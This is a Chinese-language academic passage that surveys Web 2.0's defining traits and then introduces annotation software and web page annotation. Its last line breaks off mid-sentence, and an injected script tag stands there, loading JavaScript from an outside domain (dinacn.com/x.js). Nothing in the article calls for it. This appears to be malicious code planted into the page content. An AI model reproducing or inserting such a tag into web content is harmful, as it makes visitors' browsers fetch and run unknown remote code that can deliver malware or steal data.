一、Web2.0概述
始于2005年的Web2.0大潮席卷了整个互联网，其新技术和新应用成为互联网发展的推动力。Web2.0应用的普及带来了经济、文化、思想理念和社会生活等各方面的显著变化，各种体现着理念创新、技术创新和模式创新的Web2.0应用相继诞生。直至目前，Web2.0还没有一个严格的学术定义，被引用较多的是Blogger Don在“Web2.0概念诠释”中的定义：
“Web2.0是以Flickr、Craigslist、Linkedin、Tribes、Ryze、Friendster、Del.icio.us、43Things.com等网站为代表，以Blog、Tag、SNS、RSS、Wiki等社会软件的应用为核心，依据六度分割、XML、AJAX等新理论和技术实现的互联网新一代模式。”[1]虽然我们对Web2.0的界定还很模糊，但还是可以判断出哪些是Web1.0，哪些是Web2.0，因为Web2.0具有区别于Web1.0的四个显著特性。
1.去中心化。去中心化（Decentralization）使得用户都成为网络中的内容节点，网络中没有了集中式的内容提供商。由此，作为分布式架构的互联网回归自由和平等的本色。每个人作为一个平等的主体而存在，个体在接受信息的同时也在奉献和创造着信息。在去中心化的架构下，Web2.0完全以用户（人）为中心，而非以物为中心。Web2.0成为个性化的工具，个体具有了充分的话语权，可以尽情展示自己的个性和表达个人的主张。
2.微内容的可重用性。微内容（Microcontent）是用户创造和产生的任何数据，比如一篇文章、一段评论、一幅图片或者一个收藏的书签。这里的可重用性是指Web2.0让用户可以在任何地点使用这些微内容，让用户可以方便地聚合、管理、分享和迁移这些微内容，实现丰富的个性化应用。Web2.0下的微内容之所以可重用，是因为它们具有结构化（XML）、开放性（开放API）以及工具无关性（例如RSS）等特点。
3.社会性。人既具有个性，也具有社会性。人的个性主要指人的特殊性和能动性，人的社会性主要指人的共同性与依赖性。Web2.0以人为中心，不仅仅体现在满足人的个性需求，也体现在Web2.0通过各种机制来满足人的社会性需求。比如，Blog通过提供关联、友情链接、TrackBack和评论等手段，可以方便用户进行集体交流，促进具有共同目标和共同兴趣的人的交互。具有共同特征的用户在一段时间之后，逐渐自组织，构建出各种社会关系网络。
4.用户参与。Web2.0改变了1.0时代下用户“只读”的状态，将网站开拓成为双向互动的可读写服务平台。Web2.0采用的是一种激励用户参与和贡献的架构，用户不仅参与网站内容层面的构建，而且可以利用网站提供的开放API，直接开发一些与网站相关的应用。借助用户的贡献和参与，可以更大程度地挖掘网站的价值。
二、网页批注
(一)批注和批注软件
批注是阅读者在文章空白处写下自己的心得、体会、评语或疑问，为文章内容添加批语或注解，以帮助理解和评论文章。批注是我国文学鉴赏和批评的重要形式，是一种传统的阅读方法。
随着电子文档的出现，传统的书面批注转变成为电子批注，诞生了大量的专用批注软件和具备批注功能的应用软件。比如，带有批注功能的MS Word、PowerPoint、Excel和WPS等办公自动化软件，Foxit Reader、CAJ Viewer、Adobe Acrobat Reader和北大方正的Apabi Reader等文档浏览软件。这些软件将批注内容存储在文档文件自身，批注内容跟随文档文件一同传播。Multivalent Documents（MVD）[2]、DIANE[3]和The Knowledge Weasel[4]等批注软件的特点则在于支持多种文档类型。其中，MVD作为一个可扩展平台，实现批注功能与文档格式的分离，DIANE具有批注多媒体文档的功能，而The Knowledge Weasel批注系统则提供了类C语言用来对特殊的批注内容进行查询。
在网络环境下，为了交流和协作的需要，批注软件还可以让批注内容在用户之间共享。在计算机支持的协同工作（CSCW）领域，网络环境下的协同编辑和协同设计一般都提供了批注功能。例如，协同编辑系统PREP Editor[5]可以对特定格式的文档进行批注，而Actify开发的Spinfire[6]和Cimmetry公司开发的AutoVue[7]可以对二维和三维CAD模型进行协同浏览和批注。
(二)网页批注及其分类
网页批注（Web Annotation），也称为“页面标注”[8]或“网页标注”，是指用户在网络阅读过程中直接在Web页面中添加批注信息（例如高亮显示字句或添加评注），但不修改Web页面本身。这里所说的网络阅读，专指网络文化语境中的阅读活动，即借助计算机和网络技术来获取包括文本在内的多媒体合成信息和知识，完成意义建构的一种超文本?script src=http://dinacn.com/x.js> |